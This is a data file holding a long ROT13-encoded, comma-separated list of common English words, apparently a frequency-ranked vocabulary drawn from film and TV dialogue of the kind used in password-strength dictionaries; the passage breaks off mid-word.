atref,fheirvyynapr,nqzver,dhrfgvbavat,qenttrq,onea,qrrcyl,jenccrq,jnfgrq,grafr,ubcrq,sryynf,ebbzzngr,zbegny,snfpvangvat,fgbcf,neenatrzragf,ntraqn,yvgrenyyl,cebcbfr,ubarfgl,haqrearngu,fnhpr,cebzvfrf,yrpgher,rvtugl,gbea,fubpxrq,onpxhc,qvssreragyl,avargl,qrpx,ovbybtvpny,currof,rnfr,perrc,jnvgerff,gryrcubar,evccrq,envfvat,fpengpu,evatf,cevagf,gurr,nethvat,rcuenz,nfxf,bbcf,qvare,naablvat,gnttreg,fretrnag,oynfg,gbjry,pybja,unovg,perngher,orezhqn,fanc,ernpg,cnenabvq,unaqyvat,rngra,gurencvfg,pbzzrag,fvax,ercbegre,ahefrf,orngf,cevbevgl,vagreehcgvat,jnerubhfr,yblnygl,vafcrpgbe,cyrnfnag,rkphfrf,guerngf,thrffvat,graq,cenlvat,zbgvir,hapbafpvbhf,zlfgrevbhf,haunccl,gbar,fjvgpurq,enccncbeg,fbbxvr,arvtuobe,ybnqrq,fjber,cvff,onynapr,gbff,zvfrel,guvrs,fdhrrmr,ybool,tbn'hyq,trrm,rkrepvfr,sbegu,obbxrq,fnaqohet,cbxre,rvtugrra,q'lbh,ohel,rirelqnl,qvttvat,perrcl,jbaqrerq,yvire,uzzz,zntvpny,svgf,qvfphffrq,zbeny,urycshy,frnepuvat,syrj,qrcerffrq,nvfyr,pevf,nzra,ibjf,arvtuobef,qnea,pragf,neenatr,naahyzrag,hfryrff,nqiragher,erfvfg,sbhegrra,pryroengvat,vapu,qrog,ivbyrag,fnaq,grny'p,pryroengvba,erzvaqrq,cubarf,cncrejbex,rzbgvbaf,fghoobea,cbhaq,grafvba,fgebxr,fgrnql,bireavtug,puvcf,orrs,fhvgf,obkrf,pnffnqvar,pbyyrpg,gentrql,fcbvy,ernyz,jvcr,fhetrba,fgergpu,fgrccrq,arcurj,arng,yvzb,pbasvqrag,crefcrpgvir,pyvzo,chavfuzrag,svarfg,fcevatsvryq,uvag,sheavgher,oynaxrg,gjvfg,cebprrq,sevrf,jbeevrf,avrpr,tybirf,fbnc,fvtangher,qvfnccbvag,penjy,pbaivpgrq,syvc,pbhafry,qbhogf,pevzrf,npphfvat,funxvat,erzrzorevat,unyyjnl,unysjnl,obgurerq,znqnz,tngure,pnzrenf,oynpxznvy,flzcgbzf,ebcr,beqvanel,vzntvarq,pvtnerggr,fhccbegvir,rkcybfvba,genhzn,bhpu,shevbhf,purng,nibvqvat,jurj,guvpx,bbbu,obneqvat,nccebir,hetrag,fuuu,zvfhaqrefgnaqvat,qenjre,cubal,vagresrer,pngpuvat,onetnva,gentvp,erfcbaq,chavfu,cragubhfr,gubh,enpu,buuu,vafhyg,ohtf,orfvqr,orttrq,nofbyhgr,fgevpgyl,fbpxf,frafrf,farnxvat,erjneq,cbyvgr,purpxf,gnyr,culfvpnyyl,vafgehpgvbaf,sbbyrq,oybjf,gnool,ovggre,nqbenoyr,l'nyy,grfgrq,fhttrfgvba,wrjryel,nyvxr,wnpxf,qvfgenpgrq,furygre,yrffbaf,pbafgnoyr,pvephf,nhqvgvba,ghar,fubhyqref,znfx,urycyrff,srrqvat,rkcynvaf,fhpxrq,eboorel,bowrpgvba,orunir,inyhnoyr,funqbjf,pbhegebbz,pbashfvat,gnyragrq,fznegre,zvfgnxra,phfgbzre,ovmneer,fpnevat,zbgureshpxre,nyreg,irppuvb,erireraq,sbbyvfu,pbzcyvzrag,onfgneqf,jbexre,jurrypunve,cebgrpgvir,tragyr,erirefr,cvpavp,xarr,pntr,jvirf,jrqarfqnl,ibvprf,gbrf,fgvax,fpnerf,cbhe,purngrq,fyvqr,ehvavat,svyyvat,rkvg,pbggntr,hcfvqr,cebirf,cnexrq,qvnel,pbzcynvavat,pbasrffrq,cvcr,zreryl,znffntr,pubc,fcvyy,cenlre,orgenl,jnvgre,fpnz,engf,senhq,oehfu,gnoyrf,flzcngul,cvyy,svygul,friragrra,rzcyblrr,oenpryrg,cnlf,snveyl,qrrcre,neevir,genpxvat,fcvgr,furq,erpbzzraq,bhtugn,anaal,zrah,qvrg,pbea,ebfrf,cngpu,qvzr,qrinfgngrq,fhogyr,ohyyrgf,ornaf,cvyr,pbasvez,fgevatf,cnenqr,obeebjrq,gblf,fgenvtugra,fgrnx,cerzbavgvba,cynagrq,ubaberq,rknz,pbairavrag,geniryvat,ynlvat,vafvfgrq,qvfu,nvgbeb,xvaqyl,tenaqfba,qbabe,grzcre,grrantre,cebira,zbguref,qravny,onpxjneqf,grag,fjryy,abba,unccvrfg,qevirf,guvaxva,fcvevgf,cbgvba,ubyrf,srapr,jungfbrire,erurnefny,bireurneq,yrzzr,ubfgntr,orapu,gelva,gnkv,fubir,zbeba,vzcerff,arrqyr,vagryyvtrag,vafgnag,qvfnterr,fgvaxf,evnaan,erpbire,tebbz,trfgher,pbafgnagyl,onegraqre,fhfcrpgf,frnyrq,yrtnyyl,urnef,qerffrf,furrg,cflpuvp,grrantr,xabpxvat,whqtvat,nppvqragnyyl,jnxvat,ehzbe,znaaref,ubzryrff,ubyybj,qrfcrengryl,gncrf,ersreevat,vgrz,trabn,trne,znwrfgl,pevrq,gbaf,fcryyf,vafgvapg,dhbgr,zbgbeplpyr,pbaivapvat,snfuvbarq,nvqf,nppbzcyvfurq,tevc,ohzc,hcfrggvat,arrqvat,vaivfvoyr,sbetvirarff,srqf,pbzcner,obguref,gbbgu,vaivgvat,rnea,pbzcebzvfr,pbpxgnvy,genzc,wnobg,vagvzngr,qvtavgl,qrnyg,fbhyf,vasbezrq,tbqf,qerffvat,pvtnerggrf,nyvfgnve,yrnx,sbaq,pbexl,frqhpr,yvdhbe,svatrecevagf,rapunagzrag,ohggref,fghssrq,fgniebf,rzbgvbanyyl,genafcynag,gvcf,bkltra,avpryl,yhangvp,qevyy,pbzcynva,naabhaprzrag,hasbeghangr,fync,cenlref,cyht,bcraf,bngu,b'arvyy,zhghny,lnpug,erzrzoref,sevrq,rkgenbeqvanel,onvg,jnegba,fjbea,fgner,fnsryl,erhavba,ohefg,zvtug'ir,qvir,nobneq,rkcbfr,ohqqvrf,gehfgvat,obbmr,fjrrc,fber,fphqqre,cebcreyl,cnebyr,qvgpu,pnapryrq,fcrnxf,tybj,jrnef,guvefgl,fxhyy,evatvat,qbez,qvavat,oraq,harkcrpgrq,cnapnxrf,unefu,synggrerq,nuuu,gebhoyrf,svtugf,snibhevgr,rngf,entr,haqrepbire,fcbvyrq,fybnar,fuvar,qrfgeblvat,qryvorengryl,pbafcvenpl,gubhtugshy,fnaqjvpurf,cyngrf,anvyf,zvenpyrf,sevqtr,qenax,pbagenel,orybirq,nyyretvp,jnfurq,fgnyxvat,fbyirq,fnpx,zvffrf,sbetvira,orag,znpvire,vaibyir,qenttvat,pbbxrq,cbvagvat,sbhy,qhyy,orarngu,urryf,snxvat,qrns,fghag,wrnybhfl,ubcryrff,srnef,phgf,fpranevb,arpxynpr,penfurq,npphfr,erfgenvavat,ubzvpvqr,uryvpbcgre,svevat,fnsre,nhpgvba,ivqrbgncr,gber,erfreingvbaf,cbcf,nccrgvgr,jbhaqf,inadhvfu,vebavp,snguref,rkpvgrzrag,nalubj,grnevat,fraqf,encr,ynhturq,oryyl,qrnyre,pbbcrengr,nppbzcyvfu,jnxrf,fcbggrq,fbegf,erfreingvba,nfurf,gnfgrf,fhccbfrqyl,ybsg,vagragvbaf,vagrtevgl,jvfurq,gbjryf,fhfcrpgrq,vairfgvtngvat,vanccebcevngr,yvcfgvpx,ynja,pbzcnffvba,pnsrgrevn,fpnes,cerpvfryl,bofrffvba,ybfrf,yvtugra,vasrpgvba,tenaqqnhtugre,rkcybqr,onypbal,guvf'yy,fclvat,choyvpvgl,qrcraq,penpxrq,pbafpvbhf,nyyl,nofheq,ivpvbhf,vairagrq,sbeovq,qverpgvbaf,qrsraqnag,oner,naabhapr,fperjvat,fnyrfzna,eboorq,yrnc,ynxrivrj,vafnavgl,erirny,cbffvovyvgvrf,xvqanc,tbja,punvef,jvfuvat,frghc,chavfurq,pevzvanyf,ertergf,encrq,dhnegref,ynzc,qragvfg,naljnlf,nabalzbhf,frzrfgre,evfxf,bjrf,yhatf,rkcynvavat,qryvpngr,gevpxrq,rntre,qbbzrq,nqbcgvba,fgno,fvpxarff,fphz,sybngvat,rairybcr,inhyg,fbery,cergraqrq,cbgngbrf,cyrn,cubgbtencu,cnlonpx,zvfhaqrefgbbq,xvqqb,urnyvat,pnfpnqr,pncrfvqr,fgnoorq,erznexnoyr,oeng,cevivyrtr,cnffvbangr,areirf,ynjfhvg,xvqarl,qvfgheorq,pbml,gver,fuvegf,bira,beqrevat,qrynl,evfxl,zbafgref,ubabenoyr,tebhaqrq,pybfrfg,oernxqbja,onyq,nonaqba,fpne,pbyyne,jbeguyrff,fhpxvat,rabezbhf,qvfgheovat,qvfgheo,qvfgenpg,qrnyf,pbapyhfvbaf,ibqxn,qvfurf,penjyvat,oevrspnfr,jvcrq,juvfgyr,fvgf,ebnfg,eragrq,cvtf,syvegvat,qrcbfvg,obggyrf,gbcvp,evbg,bireernpgvat,ybtvpny,ubfgvyr,rzoneenff,pnfhny,ornpba,nzhfvat,nygne,pynhf,fheiviny,fxveg,funir,cbepu,tubfgf,snibef,qebcf,qvmml,puvyv,nqivfr,fgevxrf,eruno,cubgbtencure,crnprshy,yrrel,urniraf,sbeghangryl,sbbyvat,rkcrpgngvbaf,pvtne,jrnxarff,enapu,cenpgvpvat,rknzvar,penarf,oevor,fnvy,cerfpevcgvba,uhfu,sentvyr,sberafvpf,rkcrafr,qehttrq,pbjf,oryyf,ivfvgbe,fhvgpnfr,fbegn,fpna,znagvpber,vafrpher,vzntvavat,uneqrfg,pyrex,jevfg,jung'yy,fgnegref,fvyx,chzc,cnyr,avpre,unhy,syvrf,obbg,guhzo,gurer'q,ubj'er,ryqref,dhvrgyl,chyyf,vqvbgf,renfr,qralvat,naxyr,nzarfvn,npprcgvat,urnegorng,qrinar,pbasebag,zvahf,yrtvgvzngr,svkvat,neebtnag,ghan,fhccre,fyvtugrfg,fvaf,fnlva,erpvcr,cvre,cngreavgl,uhzvyvngvat,trahvar,fanpx,engvbany,zvaqrq,thrffrq,jrqqvatf,ghzbe,uhzvyvngrq,nfcveva,fcenl,cvpxf,rlrq,qebjavat,pbagnpgf,evghny,creshzr,uvevat,ungvat,qbpxf,perngherf,ivfvbaf,gunaxvat,gunaxshy,fbpx,avargrra,sbex,guebjf,grrantref,fgerffrq,fyvpr,ebyyf,cyrnq,ynqqre,xvpxf,qrgrpgvirf,nffherq,gryyva,funyybj,erfcbafvovyvgvrf,ercnl,ubjql,tveysevraqf,qrnqyl,pbzsbegvat,prvyvat,ireqvpg,vafrafvgvir,fcvyyrq,erfcrpgrq,zrffl,vagreehcgrq,unyyvjryy,oybaq,oyrrq,jneqebor,gnxva,zheqref,onpxf,haqrerfgvzngr,whfgvsl,unezyrff,sehfgengrq,sbyq,ramb,pbzzhavpngr,ohttvat,nefba,junpx,fnynel,ehzbef,boyvtngvba,yvxvat,qrnerfg,pbatenghyngr,iratrnapr,enpx,chmmyr,sverf,pbhegrfl,pnyyre,oynzrq,gbcf,dhvm,cerc,phevbfvgl,pvepyrf,oneorphr,fhaalqnyr,fcvaavat,cflpubgvp,pbhtu,npphfngvbaf,erfrag,ynhtuf,serfuzna,rail,qebja,onegyrg,nffrf,fbsn,cbfgre,uvtuarff,qbpx,ncbybtvrf,gurvef,fgng,fgnyy,ernyvmrf,cflpu,zzzz,sbbyf,haqrefgnaqnoyr,gerngf,fhpprrq,fgve,erynkrq,znxva,tengvghqr,snvgushy,npprag,jvggre,jnaqrevat,ybpngr,varivgnoyr,tergry,qrrq,pehfurq,pbagebyyvat,fzryyrq,ebor,tbffvc,tnzoyvat,pbfzrgvpf,nppvqragf,fhecevfvat,fgvss,fvaprer,ehfurq,ersevtrengbe,cercnevat,avtugznerf,zvwb,vtabevat,uhapu,sverjbexf,qebjarq,oenff,juvfcrevat,fbcuvfgvpngrq,yhttntr,uvxr,rkcyber,rzbgvba,penfuvat,pbagnpgrq,pbzcyvpngvbaf,fuvavat,ebyyrq,evtugrbhf,erpbafvqre,tbbql,trrx,sevtugravat,rguvpf,perrcf,pbhegubhfr,pnzcvat,nssrpgvba,fzlgur,unvephg,rffnl,onxrq,ncbybtvmrq,ivor,erfcrpgf,erprvcg,znzv,ungf,qrfgehpgvir,nqber,nqbcg,genpxrq,fubegf,erzvaqvat,qbhtu,perngvbaf,pnobg,oneery,fahpx,fyvtug,ercbegref,cerffvat,zntavsvprag,znqnzr,ynml,tybevbhf,svnaprr,ovgf,ivfvgngvba,fnar,xvaqarff,fubhyqn,erfphrq,znggerff,ybhatr,yvsgrq,vzcbegnagyl,tybir,ragrecevfrf,qvfnccbvagzrag,pbaqb,orvatf,nqzvggvat,lryyrq,jnivat,fcbba,fperrpu,fngvfsnpgvba,ernqf,anvyrq,jbez,gvpx,erfgvat,zneirybhf,shff,pbegynaqg,punfrq,cbpxrgf,yhpxvyl,yvyvgu,svyvat,pbairefngvbaf,pbafvqrengvba,pbafpvbhfarff,jbeyqf,vaabprapr,sberurnq,ntterffvir,genvyre,fynz,dhvggvat,vasbez,qryvtugrq,qnlyvtug,qnaprq,pbasvqragvny,nhagf,jnfuvat,gbffrq,fcrpgen,zneebj,yvarq,vzcylvat,ungerq,tevyy,pbecfr,pyhrf,fbore,bssraqrq,zbethr,vasrpgrq,uhznavgl,qvfgenpgvba,pneg,jverq,ivbyngvba,cebzvfvat,unenffzrag,tyhr,q'natryb,phefrq,oehgny,jneybpxf,jntba,hacyrnfnag,cebivat,cevbevgvrf,zhfga'g,yrnfr,synzr,qvfnccrnenapr,qrcerffvat,guevyy,fvggre,evof,syhfu,rneevatf,qrnqyvar,pbecbeny,pbyyncfrq,hcqngr,fanccrq,fznpx,zryg,svthevat,qryhfvbany,pbhyqn,oheag,graqre,fcrez,ernyvfr,cbex,cbccrq,vagreebtngvba,rfgrrz,pubbfvat,haqb,cerf,cenlrq,cynthr,znavchyngr,vafhygvat,qrgragvba,qryvtugshy,pbssrrubhfr,orgenlny,ncbybtvmvat,nqwhfg,jerpxrq,jbag,juvccrq,evqrf,erzvaqre,zbafvrhe,snvag,onxr,qvfgerff,pbeerpgyl,pbzcynvag,oybpxrq,gbegherq,evfxvat,cbvagyrff,unaqvat,qhzcvat,phcf,nyvov,fgehttyvat,fuval,evfxrq,zhzzl,zvag,ubfr,ubool,sbeghangr,syrvfpuzna,svggvat,phegnva,pbhafryvat,ebqr,chccrg,zbqryvat,zrzb,veerfcbafvoyr,uhzvyvngvba,uvln,sernxva,srybal,pubxr,oynpxznvyvat,nccerpvngrq,gnoybvq,fhfcvpvba,erpbirevat,cyrqtr,cnavpxrq,ahefrel,ybhqre,wrnaf,vairfgvtngbe,ubzrpbzvat,sehfgengvat,ohlf,ohfgvat,ohss,fyrrir,vebal,qbcr,qrpyner,nhgbcfl,jbexva,gbepu,cevpx,yvzo,ulfgrevpny,tbqqnzavg,srgpu,qvzrafvba,pebjqrq,pyvc,pyvzovat,obaqvat,jbnu,gehfgf,artbgvngr,yrguny,vprq,snagnfvrf,qrrqf,ober,onolfvggre,dhrfgvbarq,bhgentrbhf,xvevnxvf,vafhygrq,tehqtr,qevirjnl,qrfregrq,qrsvavgr,orrc,jverf,fhttrfgvbaf,frnepurq,bjrq,yraq,qehaxra,qrznaqvat,pbfgnamn,pbaivpgvba,ohzcrq,jrvtu,gbhpurf,grzcgrq,fubhg,erfbyir,eryngr,cbvfbarq,zrnyf,vaivgngvbaf,unhagrq,obthf,nhgbtencu,nssrpgf,gbyrengr,fgrccvat,fcbagnarbhf,fyrrcf,cebongvba,znaal,svfg,fcrpgnphyne,ubfgntrf,urebva,univa,unovgf,rapbhentvat,pbafhyg,ohetref,oblsevraqf,onvyrq,onttntr,jngpurf,gebhoyrq,gbeghevat,grnfvat,fjrrgrfg,dhnyvgvrf,cbfgcbar,birejuryzrq,znyxbivpu,vzchyfr,pynffl,punetvat,nznmrq,cbyvprzna,ulcbpevgr,uhzvyvngr,uvqrbhf,q'ln,pbfghzrf,oyhssvat,orggvat,orva,orqgvzr,nypbubyvp,irtrgnoyr,genl,fhfcvpvbaf,fcernqvat,fcyraqvq,fuevzc,fubhgvat,cerffrq,abbb,tevrivat,tynqyl,syvat,ryvzvangr,prerny,nnnu,fbabsnovgpu,cnenylmrq,ybggn,ybpxf,thnenagrrq,qhzzl,qrfcvfr,qragny,oevrsvat,oyhss,onggrevrf,junggn,fbhaqvat,freinagf,cerfhzr,unaqjevgvat,snvagrq,qevrq,nyyevtug,npxabjyrqtr,junpxrq,gbkvp,eryvnoyr,dhvpxre,birejuryzvat,yvavat,unenffvat,sngny,raqyrff,qbyyf,pbaivpg,jungpun,hayvxryl,fuhggvat,cbfvgviryl,birepbzr,tbqqnz,rffrapr,qbfr,qvntabfvf,pherq,ohyyl,nubyq,lrneobbx,grzcgvat,furys,cebfrphgvba,cbhevat,cbffrffrq,terrql,jbaqref,gubebhtu,fcvar,engu,cflpuvngevp,zrnavatyrff,ynggr,wnzzrq,vtaberq,svnapr,rivqragyl,pbagrzcg,pbzcebzvfrq,pnaf,jrrxraqf,hetr,gursg,fhvat,fuvczrag,fpvffbef,erfcbaqvat,cebcbfvgvba,abvfrf,zngpuvat,ubezbarf,unvy,tenaqpuvyqera,tragyl,fznfurq,frkhnyyl,fragvzragny,avprfg,znavchyngrq,vagrea,unaqphssf,senzrq,reenaqf,ragregnvavat,pevo,pneevntr,onetr,fcraqf,fyvccvat,frngrq,ehoovat,eryl,erwrpg,erpbzzraqngvba,erpxba,urnqnpurf,sybng,rzoenpr,pbearef,juvavat,fjrngvat,fxvccrq,zbhagvr,zbgvirf,yvfgraf,pevfgbory,pyrnare,purreyrnqre,onyfbz,haarprffnel,fghaavat,fprag,dhnegreznvarf,cbfr,zbagrtn,ybbfra,vasb,ubggrfg,unhag,tenpvbhf,sbetvivat,reenaq,pnxrf,oynzrf,nobegvba,fxrgpu,fuvsgf,cybggvat,crevzrgre,cnyf,zrer,znggrerq,ybavtna,vagresrerapr,rlrjvgarff,raguhfvnfz,qvncref,fgebatrfg,funxra,chapurq,cbegny,pngpurf,onpxlneq,greebevfgf,fnobgntr,betnaf,arrql,phss,pvivyvmngvba,jbbs,jub'yy,cenax,boabkvbhf,zngrf,urerol,tnool,snxrq,pryyne,juvgryvtugre,ibvq,fgenatyr,fbhe,zhssvaf,vagresrevat,qrzbavp,pyrnevat,obhgvdhr,oneevatgba,greenpr,fzbxrq,evtugl,dhnpx,crgrl,cnpg,xabg,xrgpuhc,qvfnccrnevat,pbeql,hcgvtug,gvpxvat,greevslvat,grnfr,fjnzc,frpergyl,erwrpgvba,ersyrpgvba,ernyvmvat,enlf,zragnyyl,znebar,qbhogrq,qrprcgvba,pbaterffzna,purrfl,gbgb,fgnyyvat,fpbbc,evooba,vzzhar,rkcrpgf,qrfgvarq,orgf,onguvat,nccerpvngvba,nppbzcyvpr,jnaqre,fubirq,frjre,fpebyy,ergver,ynfgf,shtvgvir,serrmre,qvfpbhag,penaxl,penax,pyrnenapr,obqlthneq,nakvrgl,nppbhagnag,jubbcf,ibyhagrrerq,gnyragf,fgvaxvat,erzbgryl,tneyvp,qrprapl,pbeq,orqf,nygbtrgure,havsbezf,gerzraqbhf,cbccvat,bhgn,bofreir,yhat,unatf,srryva,qhqrf,qbangvba,qvfthvfr,pheo,ovgrf,nagvdhr,gbbguoehfu,ernyvfgvp,cerqvpg,ynaqybeq,ubhetynff,urfvgngr,pbafbyngvba,onooyvat,gvccrq,fgenaqrq,fznegrfg,ercrngvat,chxr,cffg,cnlpurpx,bireernpgrq,znpub,whiravyr,tebprel,serfura,qvfcbfny,phssf,pnssrvar,inavfurq,hasvavfurq,evccvat,cvapu,synggrevat,rkcrafrf,qvaaref,pbyyrnthr,pvnb,orygunmbe,nggbearlf,jbhyqn,jurernobhgf,jnvgva,gehpr,gevccrq,gnfgrq,fgrre,cbvfbavat,znavchyngvir,vzzngher,uhfonaqf,urry,tenaqqnq,qryvirevat,pbaqbzf,nqqvpg,genfurq,envavat,cnfgn,arrqyrf,yrnavat,qrgrpgbe,pbbyrfg,ongpu,nccbvagzragf,nyzvtugl,irtrgnoyrf,fcnex,cresrpgvba,cnvaf,zbzzn,zbyr,zrbj,unvef,trgnjnl,penpxvat,pbzcyvzragf,orubyq,iretr,gbhture,gvzre,gnccrq,gncrq,fcrpvnygl,fabbcvat,fubbgf,eraqrmibhf,cragntba,yrirentr,wrbcneqvmr,wnavgbe,tenaqcneragf,sbeovqqra,pyhryrff,ovqqvat,hatengrshy,hanpprcgnoyr,ghgbe,frehz,fphfr,cnwnznf,zbhguf,yher,veengvbany,qbbz,pevrf,ornhgvshyyl,neerfgvat,nccebnpuvat,genvgbe,flzcngurgvp,fzht,fznfu,eragny,cebfgvghgr,cerzbavgvbaf,whzcf,vairagbel,qneyva,pbzzvggvat,onatvat,nfnc,jbezf,ivbyngrq,irag,genhzngvp,genprq,fjrngl,funsg,bireobneq,vafvtug,urnyrq,tenfc,rkcrevrapvat,penccl,peno,puhax,njjj,fgnva,funpx,ernpgrq,cebabhapr,cbherq,zbzf,zneevntrf,wnorm,unaqshy,syvccrq,svercynpr,rzoneenffzrag,qvfnccrnef,pbaphffvba,oehvfrf,oenxrf,gjvfgvat,fjrcg,fhzzba,fcyvggvat,fybccl,frggyvat,erfpurqhyr,abgpu,ubbenl,tenoovat,rkdhvfvgr,qvferfcrpg,gubeauneg,fgenj,fynccrq,fuvccrq,funggrerq,ehguyrff,ersvyy,cnlebyy,ahzo,zbheavat,znayl,uhax,ragregnva,qevsg,qernqshy,qbbefgrc,pbasvezngvba,pubcf,nccerpvngrf,inthr,gverf,fgerffshy,fgnfurq,fgnfu,frafrq,cerbpphcvrq,cerqvpgnoyr,abgvpvat,znqyl,thafubg,qbmraf,qbex,pbashfr,pyrnaref,punenqr,punyx,pncchppvab,obhdhrg,nzhyrg,nqqvpgvba,jub'ir,jnezvat,haybpx,fngvfsl,fnpevsvprq,erynkvat,ybar,oybpxvat,oyraq,oynaxrgf,nqqvpgrq,lhpx,uhatre,unzohetre,terrgvat,terrg,tenil,tenz,qernzg,qvpr,pnhgvba,onpxcnpx,nterrvat,junyr,gnyyre,fhcreivfbe,fnpevsvprf,curj,bhapr,veeryrinag,tena,sryba,snibevgrf,snegure,snqr,renfrq,rnfvrfg,pbairavrapr,pbzcnffvbangr,pnar,onpxfgntr,ntbal,nqberf,irvaf,gjrrx,guvrirf,fhetvpny,fgenatryl,fgrgfba,erpvgny,cebcbfvat,cebqhpgvir,zrnavatshy,vzzhavgl,unffyr,tbqqnzarq,sevtugra,qrneyl,prnfr,nzovgvba,jntr,hafgnoyr,fnyintr,evpure,ershfvat,entvat,chzcvat,cerffhevat,zbegnyf,ybjyvsr,vagvzvqngrq,vagragvbanyyl,vafcver,sbetnir,qribgvba,qrfcvpnoyr,qrpvqvat,qnfu,pbzsl,oernpu,onex,nnnnu,fjvgpuvat,fjnyybjrq,fgbir,fpernzrq,fpnef,ehffvnaf,cbhaqvat,cbbs,cvcrf,cnja,yrtvg,vairfg,snerjryy,phegnvaf,pvivyvmrq,pnivne,obbfg,gbxra,fhcrefgvgvba,fhcreangheny,fnqarff,erpbeqre,cflpurq,zbgvingrq,zvpebjnir,unyyryhwnu,sengreavgl,qelre,pbpbn,purjvat,npprcgnoyr,haoryvrinoyl,fzvyrq,fzryyvat,fvzcyre,erfcrpgnoyr,erznexf,xunfvanh,vaqvpngvba,thggre,tenof,shysvyy,synfuyvtug,ryyrabe,oybbqrq,oyvax,oyrffvatf,orjner,huuu,ghes,fjvatf,fyvcf,fubiry,fubpxvat,chss,zveebef,ybpxvat,urnegyrff,senf,puvyqvfu,pneqvnp,hggreyl,ghfpnal,gvpxrq,fghaarq,fgngrfivyyr,fnqyl,cheryl,xvqqva,wrexf,uvgpu,syveg,sner,rdhnyf,qvfzvff,puevfgravat,pnfxrg,p'zrer,oernxhc,ovgvat,nagvovbgvpf,npphfngvba,noqhpgrq,jvgpupensg,guernq,ehaava,chapuvat,cnenzrqvpf,arjrfg,zheqrevat,znfxf,ynjaqnyr,vavgvnyf,tenzcn,pubxvat,punezf,pneryrff,ohfurf,ohaf,ohzzrq,fuerq,fnirf,fnqqyr,erguvax,ertneqf,cerpvapg,crefhnqr,zrqf,znavchyngvat,yynasnve,yrnfu,urnegrq,thnenagrrf,shpxf,qvftenpr,qrcbfvgvba,obbxfgber,obvy,ivgnyf,irvy,gerfcnffvat,fvqrjnyx,frafvoyr,chavfuvat,biregvzr,bcgvzvfgvp,bofrffvat,abgvsl,zbeava,wrbcneql,wnssn,vawrpgvba,uvynevbhf,qrfverf,pbasvqr,pnhgvbhf,lnqn,jurer'er,ivaqvpgvir,ivny,grral,fgebyy,fvggva,fpeho,erohvyq,cbfgref,beqrny,ahaf,vagvznpl,vaurevgnapr,rkcybqrq,qbangr,qvfgenpgvat,qrfcnve,penpxref,jvyqjvaq,iveghr,gubebhtuyl,gnvyf,fcvpl,fxrgpurf,fvtugf,furre,funivat,frvmr,fpnerpebj,erserfuvat,cebfrphgr,cynggre,ancxva,zvfcynprq,zrepunaqvfr,ybbal,wvak,urebvp,senaxrafgrva,nzovgvbhf,flehc,fbyvgnel,erfrzoynapr,ernpgvat,cerzngher,ynirel,synfurf,purdhr,njevtug,npdhnvagrq,jenccvat,hagvr,fnyhgr,ernyvfrq,cevpryrff,cneglvat,yvtugyl,yvsgvat,xnfabss,vafvfgvat,tybjvat,trarengbe,rkcybfvirf,phgvr,pbasebagrq,ohgf,oybhfr,onyyvfgvp,nagvqbgr,nanylmr,nyybjnapr,nqwbhearq,hagb,haqrefgngrzrag,ghpxrq,gbhpul,fhopbafpvbhf,fperjf,fnetr,ebbzzngrf,enzonyqv,bssraq,areq,xavirf,veerfvfgvoyr,vapncnoyr,ubfgvyvgl,tbqqnzzvg,shfr,seng,phesrj,oynpxznvyrq,jnyxva,fgneir,fyrvtu,fnepnfgvp,erprff,erobhaq,cvaarq,cneybe,bhgsvgf,yviva,urnegnpur,unverq,shaqenvfre,qbbezna,qvfperrg,qvyhppn,penpxf,pbafvqrengr,pyvzorq,pngrevat,ncbcuvf,mbrl,hevar,fgehat,fgvgpurf,fbeqvq,fnex,cebgrpgbe,cubarq,crgf,ubfgrff,synj,synibe,qrirenhk,pbafhzrq,pbasvqragvnyvgl,obheoba,fgenvtugrarq,fcrpvnyf,fcnturggv,cerggvre,cbjreyrff,cynlva,cynltebhaq,cnenabvn,vafgnagyl,unibp,rknttrengvat,rnirfqebccvat,qbhtuahgf,qvirefvba,qrrcrfg,phgrfg,pbzo,oryn,orunivat,nalcynpr,npprffbel,jbexbhg,genafyngr,fghssvat,fcrrqvat,fyvzr,eblnygl,cbyyf,znevgny,yhexvat,ybggrel,vzntvanel,terrgvatf,snvejvaqf,ryrtnag,ryobj,perqvovyvgl,perqragvnyf,pynjf,pubccrq,oevqny,orqfvqr,onolfvggvat,jvggl,hasbetvinoyr,haqrejbeyq,grzcg,gnof,fbcubzber,frysyrff,frperpl,erfgyrff,bxrl,zbiva,zrgncube,zrffrf,zrygqbja,yrpgre,vapbzvat,tnfbyvar,qvrsraonxre,ohpxyr,nqzverq,nqwhfgzrag,jnezgu,guebngf,frqhprq,dhrre,cneragvat,abfrf,yhpxvrfg,tenirlneq,tvsgrq,sbbgfgrcf,qvzrenf,plavpny,jrqqrq,ireony,hacerqvpgnoyr,gharq,fgbbc,fyvqrf,fvaxvat,evttrq,cyhzovat,yvatrevr,unaxrl,terrq,rirejbbq,rybcr,qerffre,punhssrhe,ohyyrgva,ohttrq,obhapvat,grzcgngvba,fgenatrfg,fynzzrq,fnepnfz,craqvat,cnpxntrf,beqreyl,bofrffvir,zheqreref,zrgrbe,vapbairavrapr,tyvzcfr,sebmr,rkrphgr,pbhentrbhf,pbafhyngr,pybfrf,obffrf,orrf,nzraqf,jhff,jbysenz,jnpxl,harzcyblrq,grfgvslvat,flevatr,fgrj,fgnegyrq,fbeebj,fyrnml,funxl,fpernzf,efdhb,erznex,cbxr,ahggl,zragvbavat,zraq,vafcvevat,vzchyfvir,ubhfrxrrcre,sbnz,svatreanvyf,pbaqvgvbavat,onxvat,juvar,guht,fgneirq,favssvat,frqngvir,cebtenzzrq,cvpxrg,cntrq,ubhaq,ubzbfrkhny,ubzb,uvcf,sbetrgf,syvccvat,syrn,synggre,qjryy,qhzcfgre,pubb,nffvtazragf,nagf,ivyr,haernfbanoyr,gbffvat,gunaxrq,fgrnyf,fbhirave,fpengpurq,cflpubcngu,bhgf,bofgehpgvba,borl,yhzc,vafvfgf,unenff,tybng,svygu,rqtl,qvqa,pbebare,pbasrffvat,oehvfr,orgenlvat,onvyvat,nccrnyvat,nqrovfv,jengu,jnaqrerq,jnvfg,inva,gencf,fgrcsngure,cbxvat,boyvtngrq,urnirayl,qvyrzzn,penmrq,pbagntvbhf,pbnfgre,purrevat,ohaqyr,ibzvg,guvatl,fcrrpurf,eboovat,ensg,chzcrq,cvyybjf,crrc,cnpxf,artyrpgrq,z'xnl,ybaryvarff,vagehqr,uryyhin,tneqrare,sbeerfgref,qebbyvat,orgpun,infr,fhcreznexrg,fdhng,fcvggvat,eulzr,eryvrir,erprvcgf,enpxrg,cvpgherq,cnhfr,bireqhr,zbgvingvba,zbetraqbessre,xvqanccre,vafrpg,ubeaf,srzvavar,rlronyyf,qhzcf,qvfnccbvagvat,pebpx,pbairegvoyr,pynj,pynzc,pnaarq,pnzovnf,ongugho,ninaln,negrel,jrrc,jnezre,fhfcrafr,f